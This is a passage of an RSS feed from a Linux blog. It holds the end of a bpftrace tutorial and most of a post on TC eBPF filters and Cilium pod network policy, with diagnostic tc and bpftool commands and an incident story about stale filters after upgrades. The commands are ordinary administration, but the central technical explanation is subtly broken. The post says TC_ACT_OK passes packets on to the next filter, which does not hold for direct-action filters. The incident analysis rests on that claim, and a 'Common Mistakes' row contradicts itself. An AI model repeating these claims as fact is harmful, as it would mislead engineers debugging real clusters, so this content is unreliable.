<p><strong>kprobe instability:</strong> Functions targeted by kprobes can be inlined by the compiler between kernel versions, making the probe silently ineffective. If a kprobe isn&#8217;t firing, verify the function exists: <code class="" data-line="">bpftrace -l &#039;kprobe:function_name&#039;</code>. If it returns nothing, the function was inlined. Use a tracepoint equivalent instead.</p>
<p><strong>Container PIDs:</strong> PIDs inside a container are different from host PIDs. <code class="" data-line="">pid</code> in bpftrace is the host namespace PID.</p>
<blockquote>
<p><strong>Container PID semantics:</strong> When a container shows PID 1 internally, the host kernel sees it as PID 8432 (or whatever was assigned). bpftrace&#8217;s <code class="" data-line="">pid</code> built-in always gives you the <em>host-namespace</em> PID. To map a container&#8217;s PID to the host PID: <code class="" data-line="">cat /proc/&lt;host-pid&gt;/status | grep NSpid</code> — the second value is the PID inside the container. Or use <code class="" data-line="">curtask-&gt;real_parent-&gt;tgid</code> in your probe to walk the process tree. This matters when you filter by <code class="" data-line="">pid</code> in a one-liner and get no output — you may be filtering on the container-namespace PID instead of the host one.</p>
</blockquote>
<p><strong>BTF requirement:</strong> bpftrace requires BTF for struct field access (<code class="" data-line="">$sk-&gt;__sk_common.skc_daddr</code>). If BTF is unavailable, struct access fails. Check <code class="" data-line="">/sys/kernel/btf/vmlinux</code> exists before running struct-access one-liners.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Probe type</th>
<th>Syntax</th>
<th>Use for</th>
</tr>
</thead>
<tbody>
<tr>
<td>kernel function entry</td>
<td><code class="" data-line="">kprobe:function_name</code></td>
<td>Function arguments</td>
</tr>
<tr>
<td>kernel function return</td>
<td><code class="" data-line="">kretprobe:function_name</code></td>
<td>Return value, latency</td>
</tr>
<tr>
<td>kernel tracepoint</td>
<td><code class="" data-line="">tracepoint:subsys:name</code></td>
<td>Stable, versioned hooks</td>
</tr>
<tr>
<td>userspace function</td>
<td><code class="" data-line="">uprobe:/path/to/bin:function</code></td>
<td>App-level observation</td>
</tr>
<tr>
<td>CPU sampling</td>
<td><code class="" data-line="">profile:hz:99</code></td>
<td>Flamegraphs, hot code</td>
</tr>
<tr>
<td>interval</td>
<td><code class="" data-line="">interval:s:N</code></td>
<td>Periodic aggregation</td>
</tr>
<tr>
<td>process start</td>
<td><code class="" data-line="">tracepoint:syscalls:sys_enter_execve</code></td>
<td>New process detection</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Built-in variable</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td><code class="" data-line="">pid</code></td>
<td>Process ID (host namespace)</td>
</tr>
<tr>
<td><code class="" data-line="">tid</code></td>
<td>Thread ID</td>
</tr>
<tr>
<td><code class="" data-line="">comm</code></td>
<td>Process name (15 chars)</td>
</tr>
<tr>
<td><code class="" data-line="">nsecs</code></td>
<td>Nanoseconds since boot</td>
</tr>
<tr>
<td><code class="" data-line="">curtask</code></td>
<td>Pointer to <code class="" data-line="">task_struct</code></td>
</tr>
<tr>
<td><code class="" data-line="">retval</code></td>
<td>Return value (kretprobe/tracepoint exit)</td>
</tr>
<tr>
<td><code class="" data-line="">args</code></td>
<td>Probe arguments struct</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>bpftrace is an eBPF compiler, not a monitoring agent — every one-liner compiles, loads, runs, and cleans up a complete kernel program</li>
<li>kretprobe and tracepoint cover most production debugging needs; use tracepoints for stability across kernel versions</li>
<li>The security use cases are unique: kernel-level observation that an attacker inside a container cannot suppress, because the probe runs on the host in kernel space</li>
<li>Every connection, every file open, every process spawn — observable in real time with a single command, no prior instrumentation</li>
<li>Production caution: high-frequency probes on hot paths add overhead; filter by pid/comm, use <code class="" data-line="">--timeout</code>, watch <code class="" data-line="">%si</code></li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>bpftrace answers questions you ask in the moment. EP10 covers what happens when you need those answers continuously — not as a one-shot investigation tool, but as persistent telemetry recording every network connection across your entire cluster.</p>
<p>Flow observability from TC hooks is the always-on version: a persistent eBPF program recording every connection attempt, every retransmit, every dropped packet — the ground truth layer that everything above it interprets. When your APM says &#8220;timeout&#8221; and the kernel says &#8220;retransmit storm to one specific endpoint,&#8221; the kernel is right.</p>
<p><em>Next: <a href="/ebpf-network-flow-observability/">network flow observability at the kernel level</a></em></p>
<p>Get EP10 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fbpftrace-kernel-observability%2F&amp;linkname=bpftrace%20%E2%80%94%20Kernel%20Answers%20in%20One%20Line" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fbpftrace-kernel-observability%2F&amp;linkname=bpftrace%20%E2%80%94%20Kernel%20Answers%20in%20One%20Line" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fbpftrace-kernel-observability%2F&amp;linkname=bpftrace%20%E2%80%94%20Kernel%20Answers%20in%20One%20Line" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fbpftrace-kernel-observability%2F&amp;linkname=bpftrace%20%E2%80%94%20Kernel%20Answers%20in%20One%20Line" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fbpftrace-kernel-observability%2F&amp;linkname=bpftrace%20%E2%80%94%20Kernel%20Answers%20in%20One%20Line" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fbpftrace-kernel-observability%2F&amp;linkname=bpftrace%20%E2%80%94%20Kernel%20Answers%20in%20One%20Line" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fbpftrace-kernel-observability%2F&amp;linkname=bpftrace%20%E2%80%94%20Kernel%20Answers%20in%20One%20Line" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fbpftrace-kernel-observability%2F&#038;title=bpftrace%20%E2%80%94%20Kernel%20Answers%20in%20One%20Line" data-a2a-url="https://linuxcent.com/bpftrace-kernel-observability/" data-a2a-title="bpftrace — Kernel Answers in One Line"></a></p><p>The post <a href="https://linuxcent.com/bpftrace-kernel-observability/">bpftrace — Kernel Answers in One Line</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/bpftrace-kernel-observability/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1839</post-id>	</item>
		<item>
		<title>TC eBPF — Pod-Level Network Policy Without iptables</title>
		<link>https://linuxcent.com/tc-ebpf-kubernetes-network-policy/</link>
					<comments>https://linuxcent.com/tc-ebpf-kubernetes-network-policy/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Sun, 03 May 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[eBPF]]></category>
		<category><![CDATA[Cilium]]></category>
		<category><![CDATA[Kubernetes]]></category>
		<category><![CDATA[Linux Networking]]></category>
		<category><![CDATA[NetworkPolicy]]></category>
		<category><![CDATA[SRE]]></category>
		<category><![CDATA[TC eBPF]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1837</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 10</span> <span class="rt-label rt-postfix">minutes</span></span>TC eBPF Kubernetes network policy relies on pod identity Cilium attaches at the veth. Why XDP alone isn't enough, and how to debug stale TC filters.</p>
<p>The post <a href="https://linuxcent.com/tc-ebpf-kubernetes-network-policy/">TC eBPF — Pod-Level Network Policy Without iptables</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 10</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><em>eBPF: From Kernel to Cloud, Episode 8</em><br />
<em><a href="https://linuxcent.com/what-is-ebpf-linux-kubernetes/">What Is eBPF?</a> · <a href="https://linuxcent.com/bpf-verifier-kubernetes-safety/">The BPF Verifier</a> · <a href="https://linuxcent.com/ebpf-vs-kernel-modules-kubernetes/">eBPF vs Kernel Modules</a> · <a href="https://linuxcent.com/ebpf-program-types-kubernetes/">eBPF Program Types</a> · <a href="https://linuxcent.com/ebpf-maps-explained/">eBPF Maps</a> · <a href="https://linuxcent.com/ebpf-co-re-libbpf-portable-programs/">CO-RE and libbpf</a> · <a href="https://linuxcent.com/ebpf-xdp-kubernetes-networking/">XDP</a> · </em><em>TC eBPF</em>**</p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>TC eBPF fires after <code class="" data-line="">sk_buff</code> allocation — it has socket metadata, cgroup ID, and pod identity that XDP lacks<br />
<em>(<code class="" data-line="">sk_buff</code> = the kernel&#8217;s socket buffer, allocated for every packet; TC fires after this allocation, so it can read socket and process identity)</em></li>
<li>Direct action (DA) mode combines filter and action; the program&#8217;s return value is the packet fate</li>
<li>Multiple TC programs chain on the same hook ordered by priority — stale programs from Cilium upgrades cause silent policy conflicts</li>
<li><code class="" data-line="">tc filter show dev &lt;iface&gt; ingress/egress</code> is the primary inspection tool; <code class="" data-line="">bpftool net list</code> shows the full node picture</li>
<li>XDP + TC is the Cilium data path: XDP for pre-stack service load balancing, TC for per-pod identity-based enforcement</li>
<li>TC can modify packet content (<code class="" data-line="">bpf_skb_store_bytes</code>) — the basis for TC-based DNAT and packet mangling</li>
</ul>
<hr />
<p>TC eBPF is where Cilium implements pod-level network policy without iptables — the hook that fires after <code class="" data-line="">sk_buff</code> allocation, where socket and cgroup context exist, making per-pod enforcement possible. The obvious follow-up to XDP is why Cilium doesn&#8217;t use it for everything — pod network policy, egress enforcement, the full NetworkPolicy ruleset. The answer reveals an inherent trade-off built into the Linux data path: XDP&#8217;s speed comes from running before any context exists. At the moment it fires, there is no socket, no cgroup, no way to tell which pod sent the packet. The moment you need pod identity, you need a hook that fires later — and pays for it.</p>
<hr />
<p>A specific pod in production was experiencing intermittent TCP connection failures to an external service. Not all connections — roughly one in fifty. Kubernetes NetworkPolicy showed egress allowed for the namespace. Cilium policy status showed no violations. Running <code class="" data-line="">curl</code> from inside the pod worked fine.</p>
<p>The application logs told a different story: connection timeouts at the 30-second mark, no SYN-ACK received. Not a DNS issue — I verified with <code class="" data-line="">tcpdump</code> inside the pod namespace. SYN packets were leaving the pod network namespace. They weren&#8217;t making it onto the wire.</p>
<p>I ran <code class="" data-line="">bpftool net list</code> on the node and saw two TC egress programs attached to that pod&#8217;s veth interface. One from the current Cilium version (installed six weeks ago). One from the previous version — from before the rolling upgrade. Two programs. Different policy epochs. The older one had a stale block rule that fired intermittently based on connection tuple patterns it was never designed to handle in the new policy model.</p>
<p>Without understanding TC eBPF — what programs attach where, how multiple programs interact, and how to inspect them — I would have kept chasing ghosts in the application layer.</p>
<h2 id="quick-check-are-there-stale-tc-filters-on-your-cluster">Quick Check: Are There Stale TC Filters on Your Cluster?</h2>
<p>The most common TC eBPF issue on production clusters — stale filters left behind by a Cilium upgrade — is a two-command check:</p>
<pre><code class="" data-line=""># SSH into a worker node, then pick any pod&#039;s veth interface:
ip link | grep lxc | head -5
# lxc8a3f21b@if7: ...
# lxc2c9d3e1@if9: ...

# Check TC filters on that interface
tc filter show dev lxc8a3f21b egress
</code></pre>
<p><strong>Healthy output (one filter, one priority):</strong></p>
<pre><code class="" data-line="">filter protocol all pref 1 bpf chain 0
filter protocol all pref 1 bpf chain 0 handle 0x1 cil_to_container direct-action not_in_hw id 44
</code></pre>
<p><strong>Stale filter present (two priorities = problem):</strong></p>
<pre><code class="" data-line="">filter protocol all pref 1 bpf chain 0
filter protocol all pref 1 bpf chain 0 handle 0x1 cil_to_container direct-action not_in_hw id 44
filter protocol all pref 2 bpf chain 0
filter protocol all pref 2 bpf chain 0 handle 0x1 old_cil_to_container direct-action not_in_hw id 17
#                  ^^^^^^ two different priorities = two programs running in sequence
</code></pre>
<p>Two priorities on the same hook means two programs running sequentially. If the older one has a stale DROP rule, packets are being dropped intermittently — and nothing in the application layer will tell you why.</p>
<blockquote>
<p><strong>Not running Cilium?</strong> If you&#8217;re on a non-Cilium CNI (Calico, Flannel, <code class="" data-line="">aws-vpc-cni</code>), you likely won&#8217;t have TC eBPF filters on pod interfaces. Run <code class="" data-line="">tc filter show dev eth0 ingress</code> on the node uplink instead to see if any TC programs are attached at the node level. An empty response is normal for non-Cilium clusters.</p>
</blockquote>
<h2 id="why-tc-not-xdp">Why TC, Not XDP</h2>
<p>EP07 covered XDP: fastest possible hook, fires before <code class="" data-line="">sk_buff</code>, drops at line rate. If XDP is so fast, why doesn&#8217;t Cilium use it for everything?</p>
<p>Because XDP sees only raw packet bytes. No socket. No cgroup. No pod identity.</p>
<p>In Kubernetes, network policy is inherently about identity. &#8220;Allow pod A to connect to pod B on port 8080.&#8221; To enforce this, you need to know which pod a packet is coming from on egress — and which pod it&#8217;s going to on ingress. That mapping lives in the cgroup hierarchy and the socket buffer, neither of which exist at XDP time.</p>
<p>TC fires later in the packet lifecycle, after <code class="" data-line="">sk_buff</code> is allocated and populated:</p>
<pre><code class="" data-line="">Ingress path:
  wire → NIC → [XDP hook] → sk_buff allocated → [TC ingress hook] → netfilter → socket

Egress path:
  socket → IP routing → [TC egress hook] → qdisc → NIC → wire
</code></pre>
<p>At the TC egress hook on a pod&#8217;s veth interface, the <code class="" data-line="">sk_buff</code> carries the socket that created the packet — and from that socket you can read the cgroup ID. The cgroup hierarchy maps container → pod, so the TC program knows which pod this traffic belongs to. That&#8217;s what makes pod-level enforcement possible.</p>
<h2 id="the-linux-traffic-control-architecture">The Linux Traffic Control Architecture</h2>
<p><code class="" data-line="">tc</code> (traffic control) is the Linux subsystem for managing packet queues and scheduling. Most Linux administrators know it as the bandwidth-shaping tool:</p>
<pre><code class="" data-line=""># Classic tc usage — rate limit an interface
tc qdisc add dev eth0 root tbf rate 100mbit burst 32kbit latency 400ms
</code></pre>
<p>The qdisc (queuing discipline) is the primary abstraction. Under the qdisc sits a <strong>filter</strong> layer — and the filter type relevant to eBPF is <code class="" data-line="">cls_bpf</code>, which attaches eBPF programs as packet classifiers.</p>
<blockquote>
<p><strong>qdisc (queuing discipline)</strong> is the kernel&#8217;s packet scheduler for an interface — it controls how packets are buffered and in what order they leave. For eBPF policy enforcement, Cilium uses a special qdisc called <code class="" data-line="">clsact</code> which has no buffering behaviour at all; it purely provides the ingress and egress hook points where eBPF filters attach. If a pod veth doesn&#8217;t have <code class="" data-line="">clsact</code>, Cilium isn&#8217;t enforcing policy on that pod.</p>
</blockquote>
<p>Cilium attaches <code class="" data-line="">cls_bpf</code> filters in <strong>direct action</strong> (DA) mode, which combines classifier and action into a single eBPF program. The program&#8217;s return value is the packet fate directly:</p>
<table>
<thead>
<tr>
<th>Return value</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td><code class="" data-line="">TC_ACT_OK</code> (0)</td>
<td>Pass the packet</td>
</tr>
<tr>
<td><code class="" data-line="">TC_ACT_SHOT</code> (2)</td>
<td>Drop the packet</td>
</tr>
<tr>
<td><code class="" data-line="">TC_ACT_REDIRECT</code> (7)</td>
<td>Redirect to another interface</td>
</tr>
<tr>
<td><code class="" data-line="">TC_ACT_PIPE</code> (3)</td>
<td>Pass to the next filter in the chain</td>
</tr>
</tbody>
</table>
<h2 id="tc-context-what-your-program-can-see">TC Context: What Your Program Can See</h2>
<p>TC programs receive a <code class="" data-line="">struct __sk_buff</code> — a safe, BPF-accessible projection of the kernel <code class="" data-line="">sk_buff</code>. Unlike the raw packet bytes in XDP, <code class="" data-line="">__sk_buff</code> includes metadata:</p>
<pre><code class="" data-line="">struct __sk_buff {
    __u32 len;           // packet length
    __u32 pkt_type;      // PACKET_HOST, PACKET_BROADCAST, etc.
    __u32 mark;          // skb-&gt;mark — used by Cilium for pod identity
    __u32 queue_mapping;
    __u32 protocol;      // ETH_P_IP, ETH_P_IPV6, etc.
    __u32 vlan_present;
    __u32 vlan_tci;
    __u32 vlan_proto;
    __u32 priority;
    __u32 ingress_ifindex;
    __u32 ifindex;
    __u32 tc_index;
    __u32 cb[5];
    __u32 hash;
    __u32 tc_classid;
    __u32 data;          // offset to packet data
    __u32 data_end;
    __u32 napi_id;
    __u32 family;
    __u32 remote_ip4;    // source IP (ingress) or dest IP (egress)
    __u32 local_ip4;
    __u32 remote_port;
    __u32 local_port;
    // ...
};
</code></pre>
<p><code class="" data-line="">skb-&gt;mark</code> is how Cilium passes pod identity between its hook points.</p>
<blockquote>
<p><strong><code class="" data-line="">skb-&gt;mark</code></strong> is a 32-bit field in every <code class="" data-line="">sk_buff</code> that any kernel subsystem can read or write. It&#8217;s a general-purpose scratch field — iptables uses it, routing rules use it, and Cilium uses it to carry pod security identity from the socket hook through to TC enforcement. When Cilium stamps a pod&#8217;s identity into <code class="" data-line="">skb-&gt;mark</code> at connection time, every subsequent TC filter on that packet&#8217;s path can read it without another identity lookup. The socket-level cgroup hook (<code class="" data-line="">cgroup_sock_addr</code>) stamps the cgroup-derived pod identity into <code class="" data-line="">skb-&gt;mark</code> when the socket calls <code class="" data-line="">connect()</code>. By the time the packet reaches the TC egress hook, <code class="" data-line="">skb-&gt;mark</code> carries the pod&#8217;s security identity — and the TC program uses it for policy enforcement.</p>
</blockquote>
<h2 id="what-ciliums-tc-filters-actually-do">What Cilium&#8217;s TC Filters Actually Do</h2>
<p>The TC filter on each pod&#8217;s veth is Cilium&#8217;s enforcement point for Kubernetes NetworkPolicy. The mechanism:</p>
<ol>
<li>When a pod opens a connection, a <code class="" data-line="">cgroup_sock_addr</code> hook stamps the pod&#8217;s security identity (derived from its labels + namespace) into <code class="" data-line="">skb-&gt;mark</code></li>
<li>The TC egress filter on the veth reads <code class="" data-line="">skb-&gt;mark</code>, looks up the pod identity + destination in the policy map, and returns <code class="" data-line="">TC_ACT_SHOT</code> (drop) or <code class="" data-line="">TC_ACT_OK</code> (pass)</li>
<li>The TC ingress filter on the receiving pod&#8217;s veth does the same check for inbound traffic</li>
</ol>
<p>The policy map is a BPF LRU hash keyed on <code class="" data-line="">{pod_identity, dst_ip, dst_port, protocol}</code>. This is what <code class="" data-line="">cilium policy get</code> reads from — and what <code class="" data-line="">bpftool map dump</code> shows directly:</p>
<pre><code class="" data-line=""># Find Cilium&#039;s policy maps
bpftool map list | grep -i policy

# Dump the active policy entries for a specific endpoint
# Get endpoint ID from: cilium endpoint list
cilium bpf policy get &lt;endpoint-id&gt;

# Cross-check with raw bpftool dump
bpftool map dump id &lt;POLICY_MAP_ID&gt; | head -30
</code></pre>
<p>The <code class="" data-line="">clsact</code> qdisc is the prerequisite for any TC eBPF filter — it creates the ingress and egress hook points without any queuing behavior. Every pod veth on a Cilium node has one:</p>
<pre><code class="" data-line="">tc qdisc show dev lxcABCDEF
# qdisc clsact ffff: dev lxcABCDEF parent ffff:fff1
# ^^^^^^^^^^^^ this line confirms Cilium&#039;s hook points exist on this pod&#039;s veth
# If this is missing: Cilium is NOT enforcing NetworkPolicy on this pod
</code></pre>
<p>If a pod veth doesn&#8217;t show <code class="" data-line="">clsact</code>, Cilium isn&#8217;t enforcing policy on that pod.</p>
<h2 id="multiple-programs-and-the-filter-chain">Multiple Programs and the Filter Chain</h2>
<p>This is the detail that caused my production incident.</p>
<p>TC supports chaining multiple filters on the same hook, ordered by priority. Lower priority number runs first. When Cilium upgrades, it installs a new filter at a new priority before removing the old one. If the upgrade procedure has any timing gap — or if the removal step fails silently — you end up with two programs running in sequence.</p>
<pre><code class="" data-line=""># Show all TC filters on a pod&#039;s veth — both priorities visible
tc filter show dev lxc12345 egress

# Example output with a stale filter:
filter protocol all pref 1 bpf chain 0
filter protocol all pref 1 bpf chain 0 handle 0x1 cil_to_container direct-action not_in_hw id 44
filter protocol all pref 2 bpf chain 0
filter protocol all pref 2 bpf chain 0 handle 0x1 old_cil_to_container direct-action not_in_hw id 17
</code></pre>
<p>Two programs. Pref 1 runs first. Pref 2 runs second — unless pref 1 returned <code class="" data-line="">TC_ACT_SHOT</code>, in which case the packet is already dropped and pref 2 never fires.</p>
<p>In my incident: pref 1 was the current Cilium version with correct policy, returning <code class="" data-line="">TC_ACT_OK</code> for the traffic in question. Pref 2 was the old version with a stale block entry, returning <code class="" data-line="">TC_ACT_SHOT</code> for a subset of connection tuples. Because <code class="" data-line="">TC_ACT_OK</code> passes to the next filter in the chain (<code class="" data-line="">TC_ACT_PIPE</code> would do the same), pref 2 got to run — and intermittently dropped packets.</p>
<p>The fix:</p>
<pre><code class="" data-line=""># Remove the stale filter by priority
tc filter del dev lxc12345 egress pref 2

# Verify only the current filter remains
tc filter show dev lxc12345 egress
</code></pre>
<p>This should be part of any post-upgrade verification for Cilium-managed clusters.</p>
<h2 id="how-cilium-uses-tc-across-the-full-node">How Cilium Uses TC Across the Full Node</h2>
<p>Cilium&#8217;s TC deployment on a node:</p>
<pre><code class="" data-line="">Pod veth (host-side, lxcXXXXX):
  TC ingress: cil_from_container — L3/L4 policy on the pod&#039;s outbound traffic
  TC egress:  cil_to_container   — L3/L4 policy on traffic arriving at the pod

Node uplink (eth0):
  TC ingress: cil_from_netdev    — traffic arriving from outside the node
  TC egress:  cil_to_netdev      — traffic leaving the node

XDP on eth0:
  cil_xdp_entry — pre-stack service load balancing (DNAT for ClusterIP)
</code></pre>
<p>The naming is counterintuitive at first: <code class="" data-line="">cil_from_container</code> is attached to the TC <strong>ingress</strong> hook on the veth.</p>
<blockquote>
<p><strong>Veth direction confusion:</strong> TC ingress/egress is named from the kernel&#8217;s perspective of the interface, not the pod&#8217;s. The host-side veth interface <em>receives</em> traffic that the pod is <em>sending</em> — so TC ingress on the host veth = the pod&#8217;s outbound traffic. This trips up everyone the first time. When debugging, always confirm direction with <code class="" data-line="">tc filter show dev lxcXXX ingress</code> and <code class="" data-line="">egress</code> separately, and check which Cilium program name is attached (<code class="" data-line="">cil_from_container</code> = pod outbound, <code class="" data-line="">cil_to_container</code> = pod inbound). The veth ingress direction from the host perspective is traffic flowing out of the container. Traffic leaving the pod hits the host-side veth ingress, which is <code class="" data-line="">cil_from_container</code>. It enforces egress policy for the pod. Naming follows the kernel&#8217;s perspective of the interface, not the application&#8217;s.</p>
</blockquote>
<p>To see the full picture on a node:</p>
<pre><code class="" data-line=""># All eBPF network programs (XDP and TC) across all interfaces
bpftool net list

# TC-specific view
for iface in $(ip link | grep lxc | awk -F&#039;: &#039; &#039;{print $2}&#039;); do
    echo &quot;=== $iface ===&quot;
    tc filter show dev $iface ingress
    tc filter show dev $iface egress
done
</code></pre>
<h2 id="tc-can-modify-packets-too">TC Can Modify Packets Too</h2>
<p>Unlike XDP, TC programs have full access to the <code class="" data-line="">sk_buff</code> and can modify packet content — headers, payload, and checksums. This is how TC-based DNAT works in Cilium when XDP isn&#8217;t available on the NIC: the program rewrites the destination IP at L3 and updates the IP + transport checksums atomically. The kernel BPF helper handles the checksum recalculation.</p>
<p>From an operational standpoint: if you see a TC program attached but expected traffic is being redirected rather than dropped, the program is likely doing DNAT. <code class="" data-line="">bpftool prog dump xlated id &lt;ID&gt;</code> shows the disassembled instructions and will reveal <code class="" data-line="">bpf_skb_store_bytes</code> calls if packet rewriting is happening.</p>
<h2 id="debugging-tc-programs-in-production">Debugging TC Programs in Production</h2>
<p>Workflow I follow when investigating network issues on Cilium clusters:</p>
<pre><code class="" data-line=""># 1. List all eBPF network programs (see the full picture)
bpftool net list

# 2. Check specific interface for stale TC filters
tc filter show dev lxcABCDEF ingress
tc filter show dev lxcABCDEF egress

# 3. Inspect a specific program
bpftool prog show id 44

# 4. Disassemble a program (last resort for understanding behavior)
bpftool prog dump xlated id 44

# 5. Check Cilium&#039;s view of the same interface
cilium endpoint list
cilium endpoint get &lt;endpoint-id&gt;

# 6. Enable verbose TC program logs (debug builds only)
# Cilium: set CILIUM_DEBUG=true in the deployment
</code></pre>
<h2 id="common-mistakes">Common Mistakes</h2>
<table>
<thead>
<tr>
<th>Mistake</th>
<th>Impact</th>
<th>Fix</th>
</tr>
</thead>
<tbody>
<tr>
<td>Not checking for stale TC filters after Cilium upgrades</td>
<td>Conflicting policy programs cause intermittent drops</td>
<td>Run <code class="" data-line="">tc filter show</code> post-upgrade; remove stale by priority</td>
</tr>
<tr>
<td>Confusing ingress/egress direction on veth interfaces</td>
<td>Policy applied to wrong traffic direction</td>
<td>TC ingress on host-side veth = pod&#8217;s outbound traffic</td>
</tr>
<tr>
<td>Attaching TC without <code class="" data-line="">clsact</code> qdisc</td>
<td>Filter attachment fails</td>
<td><code class="" data-line="">tc qdisc add dev &lt;iface&gt; clsact</code> before filter add</td>
</tr>
<tr>
<td>Using <code class="" data-line="">TC_ACT_OK</code> when you want to stop the chain</td>
<td>Subsequent filters still run</td>
<td>Use <code class="" data-line="">TC_ACT_OK</code> knowing the chain continues; use <code class="" data-line="">TC_ACT_REDIRECT</code> or explicit <code class="" data-line="">TC_ACT_SHOT</code> only</td>
</tr>
<tr>
<td>Expecting TC performance equal to XDP</td>
<td>TC has sk_buff overhead — it&#8217;s slower</td>
<td>Right tool: XDP for pre-stack bulk drops, TC for identity-aware policy</td>
</tr>
<tr>
<td>Hardcoding <code class="" data-line="">skb-&gt;mark</code> interpretation</td>
<td>Different tools use mark differently</td>
<td>Document mark field usage clearly; coordinate between Cilium and custom programs</td>
</tr>
</tbody>
</table>
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
